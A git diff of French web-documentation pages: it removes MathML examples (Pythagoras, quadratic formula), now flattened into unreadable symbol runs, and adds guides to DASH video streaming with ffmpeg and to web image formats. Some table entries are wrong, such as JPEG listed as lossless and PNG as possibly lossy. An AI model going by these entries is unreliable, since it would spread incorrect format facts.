a ⁢ x 2 + b ⁢ x + c = 0 a ⁢ x 2 + b ⁢ x = - c x 2 + b a ⁤ x = -c a On divise par le premier coefficient du polynôme. x 2 + b a ⁤ x + b 2 a 2 = - c ( 4 a ) a ( 4 a ) + b 2 4 a 2 On rajoute un terme pour avoir un carré. ( x + b 2 a ) ( x + b 2 a ) = b 2 - 4 a c 4 a 2 Ici, on obtient la valeur du discriminant. ( x + b 2 a ) 2 = b 2 - 4 a c 4 a 2 x + b 2 a = b 2 - 4 a c 4 a 2 x = -b 2 a ±{C} b 2 - 4 a c 4 a 2 x = - b ±{C} b 2 - 4 a c 2 a

diff --git a/files/fr/web/mathml/exemples/index.html b/files/fr/web/mathml/exemples/index.html deleted file mode 100644 index c3614e43b5..0000000000 --- a/files/fr/web/mathml/exemples/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Exemples -slug: Web/MathML/Exemples -tags: - - Accueil - - Beginner - - Composing - - Débuttant - - Intro - - MathML -translation_of: Web/MathML/Examples ---- -

Cette rubrique rassemble des exemples pour vous aider à comprendre comment utiliser MathML dans l'affichage des formules mathématiques complexes au sein de vos pages Web.

-
-
- Théorème de Pythagore
-
- Petit exemple de démonstration du théorème de Pythagore.
-
- Résolution de l'équation quadratique
-
- Étapes de la résolution de l'équation quadratique.
-
- Tests de rendu MathML
-
- Un ensemble test de rendu de formules.
-
diff --git a/files/fr/web/mathml/exemples/mathml_theoreme_de_pythagore/index.html b/files/fr/web/mathml/exemples/mathml_theoreme_de_pythagore/index.html deleted file mode 100644 index d64afcc40b..0000000000 --- a/files/fr/web/mathml/exemples/mathml_theoreme_de_pythagore/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Preuve du théorème de Pythagore -slug: Web/MathML/Exemples/MathML_Theoreme_de_Pythagore -tags: - - Débutant - - Education mathématique - - Exemple - - HTML5 Math - - MathML -translation_of: Web/MathML/Examples/MathML_Pythagorean_Theorem ---- -

Nous allons prouver le théorème de Pythagore :

- -

Définition : dans un triangle rectangle, le carré de l'hypoténuse est égal à la somme des carrés des deux autres côtés (appelés cathètes). Ainsi, soient a et b les cathètes et c l'hypothénuse, on a a 2 + b 2 = c 2 .

- -

Preuve : nous pouvons le prouver de façon algébrique en montrant que l'aire du grand carré est égale à l'aire du carré intérieur, ajoutée à l'aire des 4 triangles : ( a + b ) 2 = c 2 + 4 ⋅ ( 1 2 a b ) a 2 + 2 a b + b 2 = c 2 + 2 a b a 2 + b 2 = c 2

diff --git a/files/fr/web/media/dash_adaptive_streaming_for_html_5_video/index.html b/files/fr/web/media/dash_adaptive_streaming_for_html_5_video/index.html new file mode 100644 index 0000000000..6a1b7f19f1 --- /dev/null +++ b/files/fr/web/media/dash_adaptive_streaming_for_html_5_video/index.html @@ -0,0 +1,103 @@ +--- +title: Utiliser DASH avec les vidéos en HTML +slug: Web/HTML/Utiliser_DASH_avec_les_vidéos_en_HTML +tags: + - Avancé + - DASH + - Guide + - HTML +translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video +--- +
{{HTMLSidebar}}
+ +

Dynamic Adaptive Streaming over HTTP (DASH) est un protocole de streaming adaptatif : il permet de changer le débit de la vidéo en fonction des performances réseau afin que la vidéo ne soit pas interrompue lors de la lecture.

+ +

Compatibilité des navigateurs

+ +

Firefox 21 inclut une implémentation de DASH pour le format vidéo WebM mais celle-ci est désactivée par défaut et peut être activée via la préférence media.dash.enabled sous about:config.

+ +

Firefox 23 a retiré la prise en charge de DASH pour le format WebM. Cette fonctionnalité sera remplacée par l'implémentation de l'API Media Source Extensions qui permettra la prise en charge de DASH via des bibliothèques JavaScript tierces (telles que dash.js). Pour plus de détails, voir le bug 778617.

+ +

Utiliser DASH, côté serveur

+ +

Pour commencer, il faut convertir la vidéo WebM en manifeste DASH avec les vidéos associées aux différents débits. Pour cela, on aura besoin de :

+ +
    +
  • ffpmeg - avec la prise en charge de l'audio et vidéo WebM fourni via libvpx and libvoribis en version 2.5 minimum (ffmpeg.org).
    • +
+ +

1. Utiliser un fichier WebM afin de créer une piste audio et plusieurs fichiers vidéo

+ +

Dans les lignes d'exemple qui suivent, on utilise le fichier de départ in.video. Ce fichier peut être n'importe quel conteneur avec au moins un flux audio et un flux vidéo qui peut être décodé par ffmpeg.

+ +

On créera la piste audio avec :

+ +
ffmpeg -i in.video -vn -acodec libvorbis -ab 128k -dash 1 my_audio.webm
+
+ +

On créera les pistes vidéos avec :

+ +
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=160:90 -b:v 250k -dash 1 video_160x90_250k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=320:180 -b:v 500k -dash 1 video_320x180_500k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=640:360 -b:v 750k -dash 1 video_640x360_750k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm
+
+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=1280:720 -b:v 1500k -dash 1 video_1280x720_1500k.webm
+
+ +

Autrement, on peut utiliser cette commande :

+ +
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 \
+-g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=160:90 -b:v 250k -dash 1 video_160x90_250k.webm \
+-an -vf scale=320:180 -b:v 500k -dash 1 video_320x180_500k.webm \
+-an -vf scale=640:360 -b:v 750k -dash 1 video_640x360_750k.webm \
+-an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm \
+-an -vf scale=1280:720 -b:v 1500k -dash 1 video_1280x720_1500k.webm
+ +

2. Créer le manifeste

+ +
ffmpeg \
+  -f webm_dash_manifest -i video_160x90_250k.webm \
+  -f webm_dash_manifest -i video_320x180_500k.webm \
+  -f webm_dash_manifest -i video_640x360_750k.webm \
+  -f webm_dash_manifest -i video_1280x720_1500k.webm \
+  -f webm_dash_manifest -i my_audio.webm \
+  -c copy \
+  -map 0 -map 1 -map 2 -map 3 -map 4 \
+  -f webm_dash_manifest \
+  -adaptation_sets "id=0,streams=0,1,2,3 id=1,streams=4" \
+  my_video_manifest.mpd
+ +

Les arguments -map correspondent aux fichiers d'entrée dans l'ordre dans lequel ils sont fournis. Il doit y en avoir un pour chaque fichier. L'argument -adaptation_sets permet de les affecter à différents ensembles d'adaptation. Par exemple, cela crée un ensemble (0) qui contient les flux 0, 1, 2 et 3 (les vidéos) et un autre ensemble (1) qui contient uniquement le flux 4 (l'audio).

+ +

On pourra alors placer le fichier de manifeste créé à côté des fichiers vidéo sur le serveur web ou sur le CDN. DASH fonctionne via HTTP donc il suffit simplement que votre serveur prenne en charge les requêtes d'intervalles d'octets (byte range requests) et qu'il puisse servir les fichiers .mpd avec mimetype="application/dash+xml".

+ +

Utiliser DASH, côté client

+ +

Il faut modifier la page web pour que celle-ci pointe d'abord vers le manifeste, avant le fichier vidéo en tant que tel :

+ +
<video>
+  <source src="movie.mpd">
+  <source src="movie.webm">
+  Votre navigateur ne prend pas en charge les vidéos HTML.
+</video>
+ +

C'est tout !
+ Si le navigateur utilisé prend en charge DASH/MSE, la diffusion de la vidéo sera maintenant adaptative.

+ +

Voir aussi

+ + diff --git a/files/fr/web/media/formats/image_types/index.html b/files/fr/web/media/formats/image_types/index.html new file mode 100644 index 0000000000..5211d74fb9 --- /dev/null +++ b/files/fr/web/media/formats/image_types/index.html @@ -0,0 +1,1239 @@ +--- +title: Guide des types et formats de fichiers d'images +slug: Web/Media/Formats/Types_des_images +tags: + - APNG + - BMP + - Bitmap + - Diagrammes + - Fichier + - Graphiques + - Guide + - ICO + - Icône + - Image + - Images + - JPEG + - JPG + - Media + - PNG + - Photos + - SVG + - Types + - Types de fichier + - WebP + - gif + - Ícones +translation_of: Web/Media/Formats/Image_types +--- +
{{QuickLinksWithSubpages("/fr/docs/Web/Media")}}
+ +

Dans ce guide, nous aborderons les types de fichiers d'images généralement pris en charge par les navigateurs web, et nous vous donnerons des indications qui vous aideront à sélectionner les formats les plus appropriés pour l'imagerie de votre site.

+ +

Types de fichiers d'images communs

+ +

Il existe de nombreux formats de fichiers d'images dans le monde. Toutefois, ceux qui sont énumérés ci-dessous sont généralement reconnus comme utilisables sur le Web, bien que BMP ne soit généralement pas recommandé car la prise en charge par les navigateurs est potentiellement limitée ; il faut généralement l'éviter pour le contenu Web.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AbréviationFormat du fichier (en)Type de MIMEExtention(s) du fichierCompatibilité des navigateurs
{{anch("APNG")}}Animated Portable Network Graphicsimage/apng.apngChrome, Edge, Firefox, Opera, Safari
{{anch("BMP")}}Bitmap fileimage/bmp.bmpChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("GIF")}}Graphics Interchange Formatimage/gif.gifChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("ICO")}}Microsoft Iconimage/x-icon.ico, .curChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("JPEG")}}Joint Photographic Expert Group imageimage/jpeg.jpg, .jpeg, .jfif, .pjpeg, .pjpChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("PNG")}}Portable Network Graphicsimage/png.pngChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("SVG")}}Scalable Vector Graphicsimage/svg+xml.svgChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("TIFF")}}Tagged Image File Formatimage/tiff.tif, .tiffNone built-in; add-ons required
{{anch("WebP")}}Web Picture formatimage/webp.webpChrome, Edge, Firefox, Opera
+ +

L'abréviation de chaque format renvoie à une description plus longue du format, de ses capacités et à des informations détaillées sur la compatibilité des navigateurs ; y compris les versions qui ont introduit le support et les caractéristiques spéciales spécifiques qui ont pu être introduites ultérieurement.

+
+ +

Détails sur le type de fichier image

+ +

Les sections suivantes donnent un bref aperçu de chacun des types de fichiers d'images pris en charge par les navigateurs web.

+ +

Dans les tableaux ci-dessous, le terme bits par composante fait référence au nombre de bits utilisés pour représenter chaque composante de couleur. Par exemple, une profondeur de couleur RVB de 8 indique que chacune des composantes rouge, verte et bleue est représentée par une valeur de 8 bits. Profondeur de bit, d'autre part, est le nombre total de bits utilisés pour représenter chaque pixel en mémoire.

+ +

APNG (Animated Portable Network Graphics)

+ +

L'APNG est un format de fichier introduit pour la première fois par Mozilla qui étend le {{anch("PNG")}} pour ajouter le support des images animées. Conceptuellement similaire au format GIF animé qui est utilisé depuis des décennies, l'APNG est plus performant dans la mesure où il prend en charge une variété de {{interwiki("wikipedia", "color depth", "profondeur de couleur")}}, alors que le GIF animé ne supporte que le 8-bit {{interwiki("wikipedia", "indexed color", "couleur indexée")}}.

+ +

L'APNG est idéal pour les animations de base qui n'ont pas besoin d'être synchronisées avec d'autres activités ou avec une bande son, comme les indicateurs de progrès, {{interwiki("wikipedia", "throbber", "indicateur d'activité")}}, et autres séquences animées. Par exemple, l'APNG est l'un des formats pris en charge lors de la création d'autocollants animés pour l'application iMessage d'Apple (et l'application Messages sur iOS). Ils sont également couramment utilisés pour les parties animées des interfaces utilisateur des navigateurs web.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/apng
Extention(s) de fichier(s).apng
Spécificationwiki.mozilla.org/APNG_Specification
Compatibilité des navigateursChrome 59, Edge 12, Firefox 3, Opera 46, Safari 8
Dimentions maximum2,147,483,647×2,147,483,647 pixels
Modes de couleur supportés + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mode de couleurBits par composante (D)Description
Niveau de gris1, 2, 4, 8, et 16Chaque pixel est constitué d'une seule valeur D-bit indiquant la luminosité du pixel en niveaux de gris.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs de D-bit indiquant le niveau des composantes de couleur rouge, verte et bleue.
Couleur indexée1, 2, 4, et 8Chaque pixel est une valeur D-bit indiquant un index dans une palette de couleurs qui est contenue dans un morceau PLTE dans le fichier APNG ; les couleurs de la palette utilisent toutes une profondeur de 8 bits.
Niveau de gris avec alpha8 et 16Chaque pixel est représenté par deux valeurs D-bit : l'intensité du pixel en niveaux de gris et un échantillon alpha, indiquant le degré d'opacification du pixel.
Vraie couleur avec alpha8 et 16Chaque pixel est composé de quatre composantes de couleur D-pixel : rouge, vert, bleu, et l'échantillon alpha indiquant le degré d'opacité du pixel.
+
CompressionSans perte
LicenseGratuit et ouvert dans le cadre de la Creative Commons Attribution-ShareAlike license (CC-BY-SA) version 3.0 ou plus.
+ +

BMP (Bitmap file)

+ +

Le type de fichier BMP (image Bitmap) est le plus répandu sur les ordinateurs Windows, et n'est généralement utilisé que dans des cas particuliers pour les applications et contenus web.

+ +
+

Note: Vous devriez généralement éviter d'utiliser le BMP pour le contenu des sites web, car ce n'est pas une utilisation généralement acceptée du format.

+
+ +

BMP soutient théoriquement une variété de représentations de données internes. La forme la plus simple, et la plus couramment utilisée, de fichier BMP est une image tramée non compressée, chaque pixel occupant 3 octets représentant ses composantes rouge, verte et bleue, et chaque ligne étant rembourrée avec des 0x00 octets à un multiple de 4 octets de large.

+ +

Bien que d'autres représentations de données soient définies dans la spécification, elles ne sont pas largement utilisées et sont souvent complètement inappliquées. Ces caractéristiques comprennent : la prise en charge de différentes profondeurs de bits, la couleur indexée, les canaux alpha et différents ordres de pixels (par défaut, BMP est écrit du coin inférieur gauche vers la droite et le haut, plutôt que du coin supérieur gauche vers la droite et le bas).

+ +

Théoriquement, plusieurs algorithmes de compression sont pris en charge, et les données d'image peuvent également être stockées au format {{anch("JPEG")}} ou {{anch("PNG")}} dans le fichier BMP.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/bmp
Extension(s) de fichier(s).bmp
SpécificationAucune spécification ; toutefois, Microsoft fournit une documentation générale sur le format à l'adresse docs.microsoft.com/en-us/windows/desktop/gdi/bitmap-storage
Compatibilité des navigateursToutes versions de Chrome, Edge, Firefox, Internet Explorer, Opera, et Safari
Dimentions maximumSoit 32,767×32,767 ou 2,147,483,647×2,147,483,647 pixels, selon la version du format
Modes de couleur supportés + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mode de couleurBits par composante (D)Description
Niveau de gris1Chaque bit représente un seul pixel, qui peut être noir ou blanc.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs représentant les composantes de couleur rouge, verte et bleue ; chacune d'entre elles est constituée de D bits.
Couleur indexée2, 4, et 8Chaque pixel est représenté par une valeur de 2, 4 ou 8 bits, qui sert d'index dans la table des couleurs.
Niveau de gris avec alphan/aLe BMP n'a pas de format d'échelle de gris distinct.
Vraie couleur avec alpha8 et 16Chaque pixel est représenté par quatre valeurs représentant les composantes de couleur rouge, verte, bleue et alpha ; chacune d'entre elles est constituée de D bits.
+
CompressionPlusieurs méthodes de compression sont prises en charge, notamment les algorithmes avec ou sans perte
LicenseCouvert par la promesse de spécification ouverte de Microsoft ; bien que Microsoft détienne des brevets contre la BMP, elle a publié une promesse de ne pas faire valoir ses droits de brevet tant que des conditions spécifiques sont remplies. Il ne s'agit toutefois pas d'une licence. BMP est inclus dans le format Windows Metafile (.wmf).
+ +

GIF (Graphics Interchange Format)

+ +

En 1987, le fournisseur de services en ligne CompuServe a introduit le {{interwiki("wikipedia", "GIF")}} (Graphics Interchange Format) pour fournir un format graphique compressé que tous les membres de leur service pourront utiliser. Le GIF utilise le {{interwiki("wikipedia", "Lempel-Ziv-Welch")}} (LZW) pour compresser sans perte des images couleur indexés sur 8 bits. Le GIF était l'un des deux premiers formats graphiques pris en charge par {{Glossary("HTML")}}, ainsi que {{anch("XBM")}}.

+ +

Chaque pixel d'un GIF est représenté par une seule valeur de 8 bits servant d'index dans une palette de couleurs de 24 bits (8 bits pour le rouge, le vert et le bleu). La longueur d'une table de couleurs est toujours une puissance de 2 (c'est-à-dire que chaque palette a 2, 4, 8, 16, 32, 64 ou 256 entrées). Pour simuler plus de 255 ou 256 couleurs, on utilise généralement la {{interwiki("wikipedia", "dithering", "diffusion d'erreur")}}. Il est techniquement possible  de superposer plusieurs blocs d'images, chacun avec sa propre palette de couleurs, pour créer des images en couleurs réelles, mais en pratique, cela est rarement fait.

+ +

Les pixels sont opaques, sauf si un indice de couleur spécifique est désigné comme transparent, auquel cas les pixels colorés à cette valeur sont entièrement transparents.

+ +

Le GIF permet une animation simple, dans laquelle, après une première image de taille réelle, une série d'images reflétant les parties de l'image qui changent avec chaque image est fournie.

+ +

Le GIF est extrêmement populaire depuis des décennies, en raison de sa simplicité et de sa compatibilité. Son support d'animation a provoqué un regain de popularité à l'ère des médias sociaux, lorsque les GIF animés ont commencé à être largement utilisés pour de courtes "vidéos", des mèmes et d'autres séquences d'animation simples.

+ +

Une autre caractéristique populaire du GIF est la prise en charge de l'{{interwiki("wikipedia", "Interlacing_(bitmaps)", "entrelacement")}}, où les rangées de pixels sont stockées dans le désordre afin que les fichiers partiellement reçus puissent être affichés en qualité inférieure. Cela est particulièrement utile lorsque les connexions réseau sont lentes.

+ +

Le format GIF est un bon choix pour les images et les animations simples, bien que la conversion d'images couleur en GIF puisse entraîner des diffusions d'erreur insatisfaisantes. En règle générale, le contenu moderne devrait utiliser {{anch("PNG")}} pour les images fixes sans perte et indexées, et devrait envisager d'utiliser {{anch("APNG")}} pour les séquences d'animation sans perte.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/gif
Extention(s) du fichier(s).gif
SpécificationSpécification GIF87a
+ Spécification GIF89a
Compatibilité des navigateursToutes les versions de Chrome, Edge, Firefox, Internet Explorer, Opera, and Safari
Dimensions maximum65,536×65,536 pixels
Modes de couleur pris en charge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mode couleurBits par composante (D)Description
Niveau de grisn/aLe GIF n'inclut pas un format de niveaux de gris spécifique.
Vraie couleurn/aLe GIF ne prend pas en charge les pixels en couleurs réelles.
Couleur indexée8Chaque couleur d'une palette GIF est définie par 8 bits de rouge, de vert et de bleu (24 bits au total par pixel).
Niveau de gris avec alphan/aLe GIF ne fournit pas de format de niveaux de gris spécifique.
Vraie couleur avec alphan/aLe GIF ne prend pas en charge les pixels en couleurs réelles.
+
CompressionSans perte (LZW)
LisenceAlors que le format GIF lui-même est ouvert, l'algorithme de compression LZW était couvert par des brevets jusqu'au début des années 2000. Depuis le 7 juillet 2004, tous les brevets pertinents ont expiré et le format GIF peut être utilisé librement.
+ +

ICO (Microsoft Windows icon)

+ +

Le format de fichier ICO (Microsoft Windows icon) a été conçu par Microsoft pour les icônes de bureau des systèmes Windows. Cependant, les premières versions d'Internet Explorer ont introduit la possibilité pour un site web de fournir un fichier ICO nommé favicon.ico dans le répertoire racine d'un site web pour spécifier un favicon — une icône à afficher dans le menu Favoris, et d'autres endroits où une représentation iconique du site serait utile.

+ +

Un fichier ICO peut contenir plusieurs icônes, et commence par un répertoire contenant des détails sur chacune d'entre elles. Ce répertoire est suivi des données relatives aux icônes. Les données de chaque icône peuvent être soit une image {{anch("BMP")}} sans l'en-tête du fichier, soit une image {{anch("PNG")}} complète (y compris l'en-tête du fichier). Si vous utilisez des fichiers ICO, vous devez utiliser le format BMP, car la prise en charge du format PNG dans les fichiers ICO n'a été ajoutée qu'à partir de Windows Vista et pourrait ne pas être bien prise en charge.

+ +
+

Les fichiers ICO ne doivent pas être utilisés dans le contenu Web. En outre, leur utilisation pour les favicons a diminué au profit de l'utilisation d'un fichier PNG et de l'élément {{HTMLElement("link")}}, comme décrit dans {{SectionOnPage("/fr/docs/Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Ajouter des icônes personnalisées à un site")}} .

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/vnd.microsoft.icon (officiel), image/x-icon (utilisé par Microsoft)
Extention(s) de fichier(s).ico
Spécification
Compatibilité des navigateursToutes les versions de Chrome, Edge, Firefox, Internet Explorer, Opera et Safari
Dimensions maximum256×256 pixels
Modes de couleur pris en charge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Icônes au format BMP
Mode de couleurBits par composante (D)Description
Niveau de gris1Chaque bit représente un seul pixel, qui peut être noir ou blanc.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs représentant les composantes de couleur rouge, verte et bleue ; chacune d'entre elles est constituée de D bits.
Couleur indexée2, 4, et 8Chaque pixel est représenté par une valeur de 2, 4 ou 8 bits, qui sert d'index dans la table des couleurs.
Niveau de gris avec alphan/aLe BMP n'a pas de format d'échelle de gris distinct.
Vraie couleur avec alpha8 et 16Chaque pixel est représenté par quatre valeurs représentant les composantes de couleur rouge, verte, bleue et alpha ; chacune d'entre elles est constituée de D bits.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Icônes au format PNG
Mode de couleurBits par composante (D)Description
Niveau de gris1, 2, 4, 8 et 16Chaque pixel est constitué d'une seule valeur D-bit indiquant la luminosité du pixel en niveaux de gris.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs de D-bit indiquant le niveau des composantes de couleur rouge, verte et bleue.
Couleur indexée1, 2, 4 et 8Chaque pixel est une valeur de D-bit indiquant un index dans une palette de couleurs qui est contenue dans un morceau de PLTE dans le fichier APNG ; les couleurs de la palette utilisent toutes une profondeur de 8 bits.
Niveau de gris avec alpha8 et 16Chaque pixel est représenté par deux valeurs D-bit : l'intensité du pixel en niveaux de gris et un échantillon alpha, indiquant le degré d'opacification du pixel.
Vraie couleur avec alpha8 et 16Chaque pixel est composé de quatre composantes de couleur D-pixel : rouge, vert, bleu, et l'échantillon alpha indiquant le degré d'opacité du pixel.
+
CompressionLes icônes au format BMP utilisent presque toujours une compression sans perte, mais des méthodes avec perte sont disponibles. Les icônes au format PNG sont toujours compressées sans perte.
Lisence—
+ +

JPEG (Joint Photographic Experts Group image)

+ +

Le {{Glossary("JPEG")}} (typiquement prononcé "j-peg") est actuellement le format de compression avec perte le plus utilisé pour les images fixes. Il est particulièrement utile pour les photographies ; l'application de la compression avec perte au contenu nécessitant de la netteté, comme les diagrammes ou les graphiques, peut produire des résultats insatisfaisants.

+ +

Le JPEG est en fait un format de données pour les photos compressées, plutôt qu'un type de fichier. La spécification JFIF (JPEG File Interchange Format) décrit le format des fichiers que nous considérons comme des images "JPEG".

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/jpeg
Extentions(s) de fichier(s).jpg, .jpeg, .jpe, .jif, .jfif
Spécificationjpeg.org/jpeg/
Compatibilité des navigateursToutes les versions de Chrome, Edge, Firefox, Internet Explorer, Opera et Safari
Dimensions maximum65,535×65,535 pixels
Modes de couleur pris en charge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mode de couleurBits par composante (D)Description
Niveau de grisn/aLe JPEG n'a pas de mode d'échelle de gris distinct.
Vraie couleur8Chaque pixel est décrit par les composantes de couleur rouge, bleue et verte, chacune d'entre elles étant composée de 8 bits.
Couleur indexéen/aLe JPEG n'offre pas de mode couleur indexé.
Niveau de gris avec alphan/aLe JPEG ne prend pas en charge un canal alpha.
Vraie couleur avec alphan/aLe JPEG ne prend pas en charge un canal alpha.
+
CompressionSans perte; sur la base de la {{interwiki("wikipedia", "transformée en cosinus discrète")}}
LisenceDepuis le 27 octobre 2006, tous les brevets américains ont expiré.
+ +

PNG (Portable Network Graphics)

+ +

Le {{Glossary('PNG')}} (prononcé "png") utilise une compression sans perte ou avec perte afin de fournir une compression plus efficace, et prend en charge des profondeurs de couleurs plus élevées que {{anch("GIF")}}, ainsi qu'une transparence alpha complète.

+ +

Le format PNG est largement soutenu, tous les principaux navigateurs offrant une prise en charge complète de ses fonctionnalités. Internet Explorer, qui a introduit le support PNG dans les versions 4-5, ne l'a pas entièrement pris en charge avant IE 9, et a connu de nombreux bogues tristement célèbres pendant de nombreuses années, y compris dans l'Internet Explorer 6, autrefois omniprésent. Cela a ralenti l'adoption de la PNG, mais elle est maintenant couramment utilisée, surtout lorsqu'il faut reproduire avec précision l'image source.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/png
Extension(s) de fichier(s).png
Spécificationw3.org/TR/PNG
Comptabilité des navigateurs + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefoxInternet ExplorerOperaSafari
Support de base112153.5.1 (Presto)
+ 15 (Blink)		1
Canal Alpha112156 (Presto)
+ Toute (Blink)		1
Correction gammanonoui181cassé
Correction des couleursnonoui39nonnon
Entrelacementnon?1cassé3.5.1non
+
Dimensions maximum2,147,483,647×2,147,483,647 pixels
Modes de couleur pris en charge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mode de couleurBits par composante (D)Description
Niveau de gris1, 2, 4, 8 et 16Chaque pixel est constitué d'une seule valeur D-bit indiquant la luminosité du pixel en niveaux de gris.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs de D-bit indiquant le niveau des composantes de couleur rouge, verte et bleue.
Couleur indexée1, 2, 4 et 8Chaque pixel est une valeur de bit D indiquant un index dans une palette de couleurs qui est contenue dans un morceau de PLTE dans le fichier APNG ; les couleurs de la palette utilisent toutes une profondeur de 8 bits.
Niveau de gris avec alpha8 et 16Chaque pixel est représenté par deux valeurs D-bit : l'intensité du pixel en niveaux de gris et un échantillon alpha, indiquant le degré d'opacification du pixel.
Vraie couleur avec alpha8 et 16Chaque pixel est composé de quatre composantes de couleur D-pixel : rouge, vert, bleu, et l'échantillon alpha indiquant le degré d'opacité du pixel.
+
CompressionCouleur sans perte, éventuellement indexée comme le GIF
Lisence©2003 W3C® (MIT, ERCIM, Keio), Tous Droits Réservés. Les règles du W3C en matière de responsabilité, de marque commerciale, d'utilisation des documents et de licences de logiciels s'appliquent. Pas de brevets porteurs de royalties connus.
+ +

SVG (Scalable Vector Graphics)

+ +

Le SVG est une base XML pour le format d'{{interwiki("wikipedia", "image vectorielle")}} qui spécifie le contenu d'une image comme un ensemble de commandes de dessin qui créent des formes, des lignes, appliquent des couleurs, des filtres, etc. Les fichiers SVG sont idéaux pour les diagrammes, les icônes et autres images qui peuvent être dessinés avec précision à n'importe quelle taille. En tant que tel, le SVG est populaire pour les éléments d'interface utilisateur dans la conception moderne du Web.

+ +

Les fichiers SVG sont des fichiers texte contenant le code source qui, une fois interprété, dessine l'image souhaitée. Par exemple, cet exemple définit une zone de dessin de taille initiale de 100 par 100 unités, contenant une ligne tracée en diagonale à travers la boîte :

+ +
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
+  <line x1="0" y1="80" x2="100" y2="20" stroke="black" />
+</svg>
+ +

Le SVG peut être utilisé dans le contenu du web de deux façons :

+ +
    +
  1. Vous pouvez directement écrire l'élément {{HTMLElement("svg")}} dans le HTML, contenant des éléments SVG pour dessiner l'image.
    2. +
  2. Vous pouvez afficher une image SVG partout où vous pouvez utiliser les autres types d'images, y compris avec les éléments {{HTMLElement("img")}} et {{HTMLElement("image")}}, les propriété {{cssxref("background-image")}} du CSS, etc.
    3. +
+ +

Le SVG est un choix idéal pour les images qui peuvent être représentées à l'aide d'une série de commandes de dessin, en particulier si la taille à laquelle l'image sera rendue est inconnue ou peut varier, puisque le SVG s'adaptera en douceur à la taille souhaitée. Il n'est généralement pas utile pour les images strictement bitmap ou photographiques, bien qu'il soit possible d'inclure des images bitmap dans un SVG.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/svg+xml
Extension(s) de fichier(s).svg
Specificationw3.org/TR/SVG2
Compatibilité des navigateurs + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefoxInternet ExplorerOperaSafari
Le support du SVG4123910 (Presto)
+ 15 (Blink)		3.2
SVG comme image ({{HTMLElement("img")}} etc)28124910 (Presto)
+ 15 (Blink)		9
+
Dimensions maximalesIllimité
Modes de couleur pris en chargeLes couleurs en SVG sont spécifiées à l'aide de syntaxe de couleur CSS.
CompressionLa source SVG peut être compressée pendant le transit en utilisant les techniques de compression HTTP, ou sur disque en tant que fichier .svgz.
Lisence©2018 W3C® (MIT, ERCIM, Keio, Beihang), Tous Droits Réservés. Les règles du W3C en matière de responsabilité, de marque commerciale, d'utilisation des documents et de licences de logiciels s'appliquent. Pas de brevets porteurs de royalties connus.
+ +

TIFF (Tagged Image File Format)

+ +

{{interwiki("wikipedia", "TIFF")}} est un format de fichier graphique matriciel qui a été créé pour stocker des photos scannées, bien qu'il puisse s'agir de n'importe quel type d'image. Il s'agit d'un format quelque peu "lourd", dans la mesure où les fichiers TIFF ont tendance à être plus volumineux que les images d'autres formats. Cela s'explique par les métadonnées souvent incluses, ainsi que par le fait que la grande majorité des fichiers TIFF ne sont pas compressés. Cependant, les méthodes de compression avec et sans perte sont toutes deux prises en charge par la spécification TIFF.

+ +

